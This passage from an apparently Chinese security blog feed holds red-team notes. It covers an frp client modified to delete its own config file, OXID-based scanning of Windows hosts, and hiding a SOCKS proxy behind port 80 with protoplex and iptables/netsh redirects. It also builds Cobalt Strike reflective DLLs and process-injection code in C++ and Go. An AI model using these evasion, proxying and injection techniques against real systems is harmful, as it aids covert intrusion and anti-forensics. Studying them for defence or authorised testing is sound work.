class="line">42</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">func</span> <span class="title">startService</span><span class="params">(</span></span></span><br><span class="line"><span class="function"><span class="params">cfg config.ClientCommonConf,</span></span></span><br><span class="line"><span class="function"><span class="params">pxyCfgs <span class="keyword">map</span>[<span class="keyword">string</span>]config.ProxyConf,</span></span></span><br><span class="line"><span class="function"><span class="params">visitorCfgs <span class="keyword">map</span>[<span class="keyword">string</span>]config.VisitorConf,</span></span></span><br><span class="line"><span class="function"><span class="params">cfgFile <span class="keyword">string</span>,</span></span></span><br><span class="line"><span class="function"><span class="params">)</span> <span class="params">(err error)</span></span> &#123;</span><br><span class="line"></span><br><span class="line">log.InitLog(cfg.LogWay, cfg.LogFile, cfg.LogLevel,</span><br><span class="line">cfg.LogMaxDays, cfg.DisableLogColor)</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> cfg.DNSServer != <span class="string">""</span> &#123;</span><br><span class="line">s := cfg.DNSServer</span><br><span class="line"><span class="keyword">if</span> !strings.Contains(s, <span class="string">":"</span>) &#123;</span><br><span class="line">s += <span class="string">":53"</span></span><br><span class="line">&#125;</span><br><span class="line"><span class="comment">// Change default dns server for frpc</span></span><br><span class="line">net.DefaultResolver = &amp;net.Resolver&#123;</span><br><span class="line">PreferGo: <span class="literal">true</span>,</span><br><span class="line">Dial: <span class="function"><span class="keyword">func</span><span class="params">(ctx context.Context, network, address <span class="keyword">string</span>)</span> <span class="params">(net.Conn, error)</span></span> &#123;</span><br><span class="line"><span class="keyword">return</span> net.Dial(<span class="string">"udp"</span>, s)</span><br><span class="line">&#125;,</span><br><span class="line">&#125;</span><br><span class="line">&#125;</span><br><span class="line">svr, errRet := client.NewService(cfg, pxyCfgs, visitorCfgs, cfgFile)</span><br><span class="line"><span class="keyword">if</span> errRet != <span class="literal">nil</span> &#123;</span><br><span class="line">err = errRet</span><br><span class="line"><span class="keyword">return</span></span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">if</span> cfg.DELEnable == <span class="literal">true</span> &#123;</span><br><span class="line">os.Remove(cfgFile)</span><br><span class="line">&#125;</span><br><span class="line"><span class="comment">// Capture the exit signal if we use kcp.</span></span><br><span class="line"><span class="keyword">if</span> cfg.Protocol == <span class="string">"kcp"</span> &#123;</span><br><span class="line"><span class="keyword">go</span> handleSignal(svr)</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">err = svr.Run()</span><br><span class="line"><span class="keyword">if</span> cfg.Protocol == <span class="string">"kcp"</span> &#123;</span><br><span class="line">&lt;-kcpDoneCh</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">return</span></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>这样就可以实现配置文件自动删除功能了。</p><h3><span id="github">Github</span></h3><p>没有环境或无法正常编译可直接到github下载</p><p><a href="https://github.com/uknowsec/frpModify" target="_blank" rel="noopener">https://github.com/uknowsec/frpModify</a></p><h3><span id="reference">Reference</span></h3><p><a href="https://github.com/fatedier/frp/pull/1919/files" target="_blank" rel="noopener">https://github.com/fatedier/frp/pull/1919/files</a></p><p><a href="https://sec.lz520520.cn:4430/2020/11/566/" target="_blank" rel="noopener">https://sec.lz520520.cn:4430/2020/11/566/</a></p>]]></content>
    
    <summary type="html">
    
      
      
        &lt;h3&gt;&lt;span id=&quot;前言&quot;&gt;前言&lt;/span&gt;&lt;/h3&gt;&lt;p&gt;之前@Wfox师傅在群里提到“通过websocket协议让FRP用上域前置，可以隐藏真实服务ip地址”。最近没有项目，重新进行一下frp改造计划。&lt;/p&gt;
&lt;h3&gt;&lt;span id=&quot;可行性证明&quot;&gt;可行性证明&lt;
      
    
    </summary>
    
      <category term="笔记" scheme="https://uknowsec.cn/categories/notes/"/>
    
    
  </entry>
  
  <entry>
    <title>OXID_Find：通过OXID解析器获取Windows远程主机上网卡地址</title>
    <link href="https://uknowsec.cn/posts/notes/OXID_Find%EF%BC%9A%E9%80%9A%E8%BF%87OXID%E8%A7%A3%E6%9E%90%E5%99%A8%E8%8E%B7%E5%8F%96Windows%E8%BF%9C%E7%A8%8B%E4%B8%BB%E6%9C%BA%E4%B8%8A%E7%BD%91%E5%8D%A1%E5%9C%B0%E5%9D%80.html"/>
    <id>https://uknowsec.cn/posts/notes/OXID_Find：通过OXID解析器获取Windows远程主机上网卡地址.html</id>
    <published>2020-07-19T11:17:17.000Z</published>
    <updated>2020-07-19T11:24:29.708Z</updated>
    
    <content type="html"><![CDATA[<h3><span id="数据解析过程">数据解析过程</span></h3><p>规律：</p><ul><li>每一个String Binding都以<code>\x07\x00</code>开头。</li><li>每一个StringBinding都以<code>\x00\x00</code>分割，一直到第一个Security Binding是<code>\x09\x00</code>开头。</li></ul><p>因此，当recv的数据直到<code>\x09\x00</code>结束，开头就比较好办了，第四个数据包起始位置往后偏移42个字节就可以到达第一个String Binding。<br><img src="https://uknowsec-1251971873.cos.ap-shanghai.myqcloud.com\QQ拼音截图20200719163800.png" alt="QQ拼音截图20200719163800"></p><h3><span id="c">C++</span></h3><p>OXID_Find by C++（多线程） 通过OXID解析器获取Windows远程主机上网卡地址</p><p><a href="https://github.com/uknowsec/OXID_Find" target="_blank" rel="noopener">https://github.com/uknowsec/OXID_Find</a></p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">&gt; OXID_Find.exe</span><br><span class="line"></span><br><span class="line">Author: Uknow</span><br><span class="line">Github: https://github.com/uknowsec/OXID_Find</span><br><span class="line">usage: OXID_Find.exe -i 192.168.0.1</span><br><span class="line">usage: OXID_Find.exe -c 192.168.0.1/24</span><br></pre></td></tr></table></figure><h3><span id="csharp">Csharp</span></h3><p>OXID_Find by Csharp（多线程） 通过OXID解析器获取Windows远程主机上网卡地址 From <a href="https://github.com/RcoIl" target="_blank" rel="noopener">@RcoIl</a></p><p>学习@RcoIl师傅的代码<a href="https://github.com/RcoIl/CSharp-Tools/tree/master/SharpOXID-Find" target="_blank" rel="noopener">SharpOXID-Find</a>,加了个多线程，支持cidr格式传入ip地址。</p><p>强推一波@RcoIl师傅charp代码库<a href="https://github.com/RcoIl/CSharp-Tools/" target="_blank" rel="noopener">CSharp-Tools</a>。</p><p><a href="https://github.com/uknowsec/SharpOXID-Find" target="_blank" rel="noopener">https://github.com/uknowsec/SharpOXID-Find</a></p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">&gt; SharpOXID-Find.exe</span><br><span class="line"></span><br><span class="line">usage: SharpOXID_Find.exe -i 192.168.0.1</span><br><span class="line">usage: SharpOXID_Find.exe -c 192.168.0.1/24</span><br></pre></td></tr></table></figure><h3><span id="python">Python</span></h3><p><a href="https://github.com/Rvn0xsy/OXID-Find/" target="_blank" rel="noopener">https://github.com/Rvn0xsy/OXID-Find/</a></p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">&gt; python2 finsubnet.py</span><br><span class="line"></span><br><span class="line">usage: finsubnet.py [-h] -i IP [-t THREADS] [-o OUTPUT]</span><br><span class="line">finsubnet.py: error: argument -i/--ip is required</span><br></pre></td></tr></table></figure><h3><span id="references">References</span></h3><p><a href="https://payloads.online/archivers/2020-07-16/1" target="_blank" rel="noopener">https://payloads.online/archivers/2020-07-16/1</a></p>]]></content>
    
    <summary type="html">
    
      
      
        &lt;h3&gt;&lt;span id=&quot;数据解析过程&quot;&gt;数据解析过程&lt;/span&gt;&lt;/h3&gt;&lt;p&gt;规律：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;每一个String Binding都以&lt;code&gt;\x07\x00&lt;/code&gt;开头。&lt;/li&gt;
&lt;li&gt;每一个StringBinding都以&lt;code&gt;\x0
      
    
    </summary>
    
      <category term="笔记" scheme="https://uknowsec.cn/categories/notes/"/>
    
    
  </entry>
  
  <entry>
    <title>frsocks+protoplex+流量重定向实现端口复用</title>
    <link href="https://uknowsec.cn/posts/notes/frsocks+protoplex+%E6%B5%81%E9%87%8F%E9%87%8D%E5%AE%9A%E5%90%91%E5%AE%9E%E7%8E%B0%E7%AB%AF%E5%8F%A3%E5%A4%8D%E7%94%A8.html"/>
    <id>https://uknowsec.cn/posts/notes/frsocks+protoplex+流量重定向实现端口复用.html</id>
    <published>2020-07-16T11:17:17.000Z</published>
    <updated>2020-07-16T15:27:23.643Z</updated>
    
    <content type="html"><![CDATA[<h3><span id="前言">前言</span></h3><p>前段日子<code>A-team</code>群里的师傅<code>sunshine</code>，讲到了一个端口复用的方案，并发了几个工具，这里简单记录实践一下。</p><h3><span id="frsocksprotoplex流量重定向实现端口复用">frsocks+protoplex+流量重定向实现端口复用</span></h3><h4><span id="frsocks">frsocks</span></h4><p><a href="https://github.com/3gstudent/Homework-of-Go/blob/master/frsocks.go" target="_blank" rel="noopener">https://github.com/3gstudent/Homework-of-Go/blob/master/frsocks.go</a></p><p>监听本地的2333端口开启一个socks5代理，这里也可以用其他工具，如ew，frp等等。</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">./frsocks -sockstype fsocks -listen 2333</span><br></pre></td></tr></table></figure><p><img src="https://uknowsec-1251971873.cos.ap-shanghai.myqcloud.com/image-20200716154735565.png" alt="image-20200716154735565"></p><h4><span id="protoplex">protoplex</span></h4><p><a href="https://github.com/Pandentia/protoplex" target="_blank" rel="noopener">https://github.com/Pandentia/protoplex</a></p><p>这是一个协议复用的工具，比如命令可将本地9999端口的流量根据协议类型转到本地的2333和80端口。</p><p><strong>注: 在实战环境中，先用protoplex进行分流，然后再进行重定向。</strong></p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">./protoplex --socks5 192.168.154.130:2333 --http 127.0.0.1:80 -b 192.168.154.130:9999</span><br></pre></td></tr></table></figure><p><strong>注: protoplex设置分流的http协议IP和重定向的ip不要设置为同一个ip,否则会形成闭环。</strong></p><p>同时该工具还支持其他协议的分流，如：</p><ul><li>SSH</li><li>HTTP</li><li>TLS (/ HTTPS)</li><li>OpenVPN</li><li>SOCKS4 / SOCKS5</li></ul><p><img src="https://uknowsec-1251971873.cos.ap-shanghai.myqcloud.com/image-20200716192504883.png" alt="image-20200716192504883"></p><h4><span id="流量重定向">流量重定向</span></h4><h5><span id="linux">linux</span></h5><p>将访问80的流量重定向到9999端口</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">sudo iptables -t nat -A PREROUTING -p tcp -m tcp --dport 80 -j REDIRECT --to-ports 9999</span><br></pre></td></tr></table></figure><h5><span id="windows">windows</span></h5><p>将本地80流量重定向到9999</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">netsh interface portproxy add v4tov4 listenport=80 listen</span><br><span class="line">address=192.168.154.129 connectport=9999 connectaddress=192.168.154.129</span><br></pre></td></tr></table></figure><p>相关操作命令：</p><p>显示系统中的转发规则列表：</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">netsh interface portproxy show all</span><br></pre></td></tr></table></figure><p>删除指定的端口转发规则：</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">netsh interface portproxy delete v4tov4 listenport=80 listenaddress=192.168.154.129</span><br></pre></td></tr></table></figure><p>清除所有当前的端口转发规则：</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">netsh interface portproxy reset</span><br></pre></td></tr></table></figure><p><strong>注: 必要的情况下，可以设置特定来源ip进行流量重定向。</strong></p><h4><span id="效果">效果</span></h4><p><img src="https://uknowsec-1251971873.cos.ap-shanghai.myqcloud.com/image-20200716153722658.png" alt="image-20200716153722658"></p><p><img src="https://uknowsec-1251971873.cos.ap-shanghai.myqcloud.com/image-20200716153737611.png" alt="image-20200716153737611"></p><h3><span id="结语">结语</span></h3><p><code>站在巨人的肩膀上</code>。</p><p>本文思路和工具都来自<code>sunshine</code>，仅仅记录分享一下。</p>]]></content>
    
    <summary type="html">
    
      
      
        &lt;h3&gt;&lt;span id=&quot;前言&quot;&gt;前言&lt;/span&gt;&lt;/h3&gt;&lt;p&gt;前段日子&lt;code&gt;A-team&lt;/code&gt;群里的师傅&lt;code&gt;sunshine&lt;/code&gt;，讲到了一个端口复用的方案，并发了几个工具，这里简单记录实践一下。&lt;/p&gt;
&lt;h3&gt;&lt;span id=&quot;frso
      
    
    </summary>
    
      <category term="笔记" scheme="https://uknowsec.cn/categories/notes/"/>
    
    
  </entry>
  
  <entry>
    <title>利用ReflectiveDLL来武装你的Cobalt Strike</title>
    <link href="https://uknowsec.cn/posts/notes/%E5%88%A9%E7%94%A8ReflectiveDLL%E6%9D%A5%E6%AD%A6%E8%A3%85%E4%BD%A0%E7%9A%84Cobalt%20Strike.html"/>
    <id>https://uknowsec.cn/posts/notes/利用ReflectiveDLL来武装你的Cobalt Strike.html</id>
    <published>2020-07-06T19:17:17.000Z</published>
    <updated>2020-07-08T08:25:49.143Z</updated>
    
    <content type="html"><![CDATA[<h3><span id="前言">前言</span></h3><p>Cobalt Strike已经成了目前工作中经常用渗透工具了，通常我们会通过写一下插件来武装自己的Cobalt Strike，比如我们会用<code>bexecute_assembly</code>来对自己编写的<code>Csharp</code>进行内存加载实现不落地。那么其他语言的呢？同样也提供了<a href="https://cobaltstrike.com/aggressor-script/functions.html#bdllspawn" target="_blank" rel="noopener">bdllspawn</a>来反射DLL。本文章主要讲的就是利用反射DLL来武装自己的Cobalt Strike。</p><h3><span id="c-reflectivedll">C++ ReflectiveDLL</span></h3><p>首先将C/C++编写的程序如何进行ReflectiveDLL，Cobalt Strike的bdllspawn是基于项目<a href="https://github.com/stephenfewer/ReflectiveDLLInjection" target="_blank" rel="noopener">ReflectiveDLLInjection</a>实现的。我们只需要把C++编写的功能写到<code>ReflectiveDll.c</code>里即可，这里参考<a href="https://payloads.online/archivers/2020-03-02/1" target="_blank" rel="noopener">倾旋</a>师傅的文章和工具。改写<code>ReflectiveDll.c</code>来实现传参。</p><h4><span id="参数转换">参数转换</span></h4><h5><span id="引用与定义">引用与定义</span></h5><figure class="highlight c++"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string">"ReflectiveLoader.h"</span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string">&lt;string&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string">&lt;shellapi.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">pragma</span> comment(lib, <span class="meta-string">"Shell32.lib"</span>)</span></span><br><span class="line"></span><br><span class="line"><span class="built_in">std</span>::<span class="built_in">string</span> szargs;</span><br><span class="line"><span class="built_in">std</span>::wstring wszargs;</span><br><span class="line"><span class="built_in">std</span>::wstring wsHostFile;</span><br><span class="line"><span class="keyword">int</span> argc = <span class="number">0</span>;</span><br><span class="line">LPWSTR* argv = <span class="literal">NULL</span>;</span><br></pre></td></tr></table></figure><h5><span id="参数类型转换">参数类型转换</span></h5><p>在<code>ReflectiveDll.c</code>里是通过DLLMain函数的<code>lpReserved</code>来当做参数传递，我们可以做一个类型的转换，将<code>lpReserved</code>转换成命令行参数格式。</p><figure class="highlight c++"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">szargs = (PCHAR)lpReserved;</span><br><span class="line">wszargs = StringToWString(szargs);</span><br><span class="line">argv = CommandLineToArgvW(wszargs.data(), &amp;argc);</span><br></pre></td></tr></table></figure><h4><span id="功能编写">功能编写</span></h4><p>在转换参数后，我们就可以把一些C++功能代码写入，我这就简单编写一个参数输出功能，进行测试。</p><figure class="highlight c++"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br></pre></td><td class="code"><pre><span class="line">hAppInstance = hinstDLL;</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">"C++ ReflectiveDLL\n"</span>);</span><br><span class="line"></span><br><span class="line"><span class="comment">/* print some output to the operator */</span></span><br><span class="line"><span class="keyword">if</span> (lpReserved != <span class="literal">NULL</span>) &#123;</span><br><span class="line">szargs = (PCHAR)lpReserved;</span><br><span class="line">wszargs = StringToWString(szargs);</span><br><span class="line">argv = CommandLineToArgvW(wszargs.data(), &amp;argc);</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">if</span> (argv == <span class="literal">NULL</span>) &#123;</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">"[+] Error Arguments ! \n"</span>);</span><br><span class="line"><span class="keyword">break</span>;</span><br><span class="line">&#125;</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">"[+] Args Count : %d \n"</span>, argc);</span><br><span class="line"><span class="keyword">for</span> (<span class="keyword">size_t</span> i = <span class="number">0</span>; i &lt; argc; i++)</span><br><span class="line">&#123;</span><br><span class="line">wprintf(TEXT(<span class="string">"[%d] %s \n"</span>), i, argv[i]);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">/* flush STDOUT */</span></span><br><span class="line">fflush(<span class="built_in">stdout</span>);</span><br><span class="line"></span><br><span class="line"><span class="comment">/* we're done, so let's exit */</span></span><br><span class="line">ExitProcess(<span class="number">0</span>);</span><br><span class="line"><span class="keyword">break</span>;</span><br></pre></td></tr></table></figure><h4><span id="aggressor-script">Aggressor Script</span></h4><p>编译<code>ReflectiveDll.c</code>得到一个dll文件，然后编写一个<code>Aggressor Script</code>脚本来加载它。</p><p>Aggressor Script脚本提供了一些关于反射DLL的接口：<a href="https://cobaltstrike.com/aggressor-script/functions.html#bdllspawn" target="_blank" rel="noopener">https://cobaltstrike.com/aggressor-script/functions.html#bdllspawn</a></p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">alias hello &#123;</span><br><span class="line">$args = substr($0, 6);</span><br><span class="line">bdllspawn($1, script_resource(&quot;reflective_dll.dll&quot;),$args, &quot;test dll&quot;, 5000, false);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h4><span id="测试效果">测试效果</span></h4><p>这样我们就实现了将c++编写的dll通过ReflectiveDll来实现不落地传参执行了。</p><p><img src="https://uknowsec-1251971873.cos.ap-shanghai.myqcloud.com\image-20200708130204789.png" alt="image-20200708130204789"></p><h3><span id="golang-reflectivedll">Golang ReflectiveDLL</span></h3><p>Golang也成了现在一些安全工作者用得比较多的一种语言了，使用Golang开发的安全工具也越来越多，所以我们也可以通过ReflectiveDLL来对Golang程序进行利用。</p><p>这里参考<a href="https://wbglil.github.io/" target="_blank" rel="noopener">WBGlIl</a>师傅的项目<a href="https://github.com/WBGlIl/go-ReflectiveDLL" target="_blank" rel="noopener">go-ReflectiveDLL</a>和国外大佬的文章<a href="https://ethicalchaos.dev/2020/01/26/weaponizing-your-favorite-go-program-for-cobalt-strike/" target="_blank" rel="noopener">Weaponizing your favorite Go program for Cobalt Strike</a>。</p><p>特别感谢一下WBGlIl师傅，在我遇到问题的时候给予我的帮助~</p><h4><span id="maingo">main.go</span></h4><p>参考WBGlIl师傅的项目，将main.go改成一个传入参数并输出参数的功能，并将test函数设置为导出函数。</p><figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> main</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> <span class="string">"C"</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> (</span><br><span class="line"><span class="string">"fmt"</span></span><br><span class="line"><span class="string">"os"</span></span><br><span class="line">gsq <span class="string">"github.com/kballard/go-shellquote"</span></span><br><span class="line">)</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="comment">//export test</span></span><br><span class="line"><span class="function"><span class="keyword">func</span> <span class="title">test</span><span class="params">(arg <span class="keyword">string</span>)</span></span> &#123;</span><br><span class="line"></span><br><span class="line">args, err := gsq.Split(arg)</span><br><span class="line"><span class="keyword">if</span> err == <span class="literal">nil</span> &#123;</span><br><span class="line">fmt.Println(<span class="string">"Golang ReflectiveDLL"</span>)</span><br><span class="line">os.Args = args</span><br><span class="line">fmt.Printf(<span class="string">"Args Count %d\n"</span>,<span class="built_in">len</span>(os.Args))</span><br><span class="line"><span class="keyword">for</span> i := <span class="number">0</span>; i &lt; <span class="built_in">len</span>(os.Args); i++ &#123;</span><br><span class="line">fmt.Printf(<span class="string">"[%d] %s\n"</span>,i,os.Args[i])</span><br><span class="line">&#125;</span><br><span class="line">&#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">func</span> <span class="title">main</span><span class="params">()</span></span>  &#123;</span><br><span class="line"></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h4><span id="dllmainc">dllmain.c</span></h4><p>参考老外文章将<code>lpReserved</code>转换为 <code>GoString</code>，传入到dll的导出函数test里。</p><figure class="highlight c++"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string">"dllmain.h"</span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span><span class="meta-string">&lt;Windows.h&gt;</span></span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="function">BOOL WINAPI <span class="title">DllMain</span><span class="params">(</span></span></span><br><span class="line"><span class="function"><span class="params">    HINSTANCE hinstDLL,  <span class="comment">// handle to DLL module</span></span></span></span><br><span class="line"><span class="function"><span class="params">    DWORD fdwReason,     <span class="comment">// reason for calling function</span></span></span></span><br><span class="line"><span class="function"><span class="params">    LPVOID lpReserved)</span>   <span class="comment">// reserved</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">    <span class="keyword">switch</span> (fdwReason) &#123;</span><br><span class="line"><span class="keyword">case</span> DLL_PROCESS_ATTACH:</span><br><span class="line">        &#123;</span><br><span class="line">            GoString goArgs = &#123;<span class="number">0</span>&#125;;</span><br><span class="line">            <span class="keyword">if</span>(lpReserved != <span class="literal">NULL</span>)&#123;</span><br><span class="line">                goArgs.p = (<span class="keyword">char</span>*)lpReserved;</span><br><span class="line">                goArgs.n = <span class="built_in">strlen</span>(lpReserved);</span><br><span class="line">            &#125;<span class="keyword">else</span>&#123;</span><br><span class="line">                goArgs.p = <span class="string">""</span>;</span><br><span class="line">                goArgs.n = <span class="number">0</span>;</span><br><span class="line">            &#125;</span><br><span class="line">            test(goArgs);</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="keyword">break</span>;</span><br><span class="line">    <span class="keyword">case</span> DLL_PROCESS_DETACH:</span><br><span class="line">        <span class="comment">// Perform any necessary cleanup.</span></span><br><span class="line">        <span class="keyword">break</span>;</span><br><span class="line">    <span class="keyword">case</span> DLL_THREAD_DETACH:</span><br><span class="line">        <span class="comment">// Do thread-specific cleanup.</span></span><br><span class="line">        <span class="keyword">break</span>;</span><br><span class="line">    <span class="keyword">case</span> DLL_THREAD_ATTACH:</span><br><span class="line"><span class="comment">// Do thread-specific initialization.</span></span><br><span class="line">        <span class="keyword">break</span>;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">return</span> TRUE; <span class="comment">// Successful.</span></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>然后运行<code>WBGlIl</code>师傅的项目里的<code>x64.bat</code>来进行编译得到dll文件，但是Golang有一个最大的缺点就是编译出来的文件特别大，这里一个简单的输入输出工具生成的dll就有差不多2M。而在Cobalt Strike限制了反射DLL的DLL大小必须在1M以内，所以这里我们不能用Cobalt Strike进行测试。</p><h3><span id="injectc修改">Inject.c修改</span></h3><p>​    ReflectiveDLLInjection项目中的inject是不能给DLL进行传参的，所以我们这里需要修改代码来进行传参。</p><h4><span id="注入当前进程">注入当前进程</span></h4><p>如果对当前进程进行注入可以修改代码，将输入参数传入到<code>LoadRemoteLibraryR</code>函数的第四个参数即可。</p><figure class="highlight c++"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">LPVOID lpParameter = argv[<span class="number">3</span>];</span><br><span class="line">hModule = LoadRemoteLibraryR( hProcess, lpBuffer, dwLength, lpParameter);</span><br></pre></td></tr></table></figure><p><img src="https://uknowsec-1251971873.cos.ap-shanghai.myqcloud.com\image-20200708152051963.png" alt="image-20200708152051963"></p><h4><span id="注入到其他进程">注入到其他进程</span></h4><p>如果注入到其他进程的话，需要将参数写入到目标进程得到一个参数指针，再讲这个指针传入<code>LoadRemoteLibraryR</code>函数。</p><figure class="highlight c++"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br></pre></td><td class="code"><pre><span class="line">lpRemoteMem = arg;</span><br><span class="line"><span class="comment">// 申请内存</span></span><br><span class="line">argSize = <span class="built_in">strlen</span>(arg);</span><br><span class="line">lpRemoteMem = VirtualAllocEx(hProcess, <span class="literal">NULL</span>, argSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);</span><br><span class="line"><span class="keyword">if</span> (!lpRemoteMem)</span><br><span class="line">&#123;</span><br><span class="line">BREAK_WITH_ERROR(<span class="string">"\t\t[!] FAILED to allocate memory in process.\n"</span>);</span><br><span class="line">CloseHandle(hProcess);</span><br><span class="line"><span class="keyword">break</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="built_in">printf</span>(<span class="string">"[+] Memory allocated at : 0x%d in process %d\n"</span>, lpRemoteMem, dwProcessId);</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">"[+] Attempting to write parameter in  process %d \n"</span>, dwProcessId);</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="comment">//将参数写入目标进程</span></span><br><span class="line">bWriteSuccess = WriteProcessMemory(hProcess, lpRemoteMem, arg, argSize, &amp;numBytes);</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> (!bWriteSuccess)</span><br><span class="line">&#123;</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">"[!] FAILED to write parameter. Wrote %d  bytes instead of %d bytes.\n "</span>, numBytes ,argSize);</span><br><span class="line"></span><br><span class="line">CloseHandle(hProcess);</span><br><span class="line"><span class="keyword">break</span>;</span><br><span class="line">&#125;</span><br><span 